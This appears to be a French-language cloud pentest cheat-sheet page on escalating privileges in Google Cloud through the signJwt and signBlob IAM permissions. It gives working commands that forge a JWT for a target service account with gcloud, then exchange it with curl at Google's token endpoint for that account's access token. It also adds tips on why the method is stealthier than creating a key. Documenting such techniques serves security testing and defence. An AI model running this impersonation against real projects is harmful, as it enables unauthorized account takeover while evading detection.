iam.serviceAccounts.signJwt signe un JWT avec la clé gérée par Google du compte de service cible, et signBlob signe des octets arbitraires. L'un ou l'autre vous permet de produire un identifiant que le compte n'a jamais émis : élaborez un JWT avec un aud choisi et échangez-le au point de terminaison de jetons OAuth contre un jeton d'accès en tant que cible.
Forger un JWT et l'échanger#
# sign a JWT claiming the target as issuer/subject, aud = the token endpoint
gcloud iam service-accounts sign-jwt --iam-account <target>@<proj>.iam.gserviceaccount.com \
claim.json signed.jwt
# claim.json: {"iss":"<target>@...","sub":"<target>@...","aud":"https://oauth2.googleapis.com/token","scope":"https://www.googleapis.com/auth/cloud-platform","iat":...,"exp":...}
# exchange the signed JWT for an access token as the target
curl -s https://oauth2.googleapis.com/token \
-d grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer \
-d assertion=$(cat signed.jwt)
Notes d'exploitation#
signJwtsuffit à lui seul : vous n'avez jamais besoin de la clé privée de la cible, seulement de la permission.signBlobest de plus bas niveau (signer n'importe quels octets) et atteint le même résultat en signant un JWT à la main, et forge aussi des choses comme des URL GCS signées.- Il s'agit d'une alternative plus discrète à la création de clé : aucun objet clé à longue durée de vie n'est laissé derrière.
Outils#
- gcloud (
iam service-accounts sign-jwt).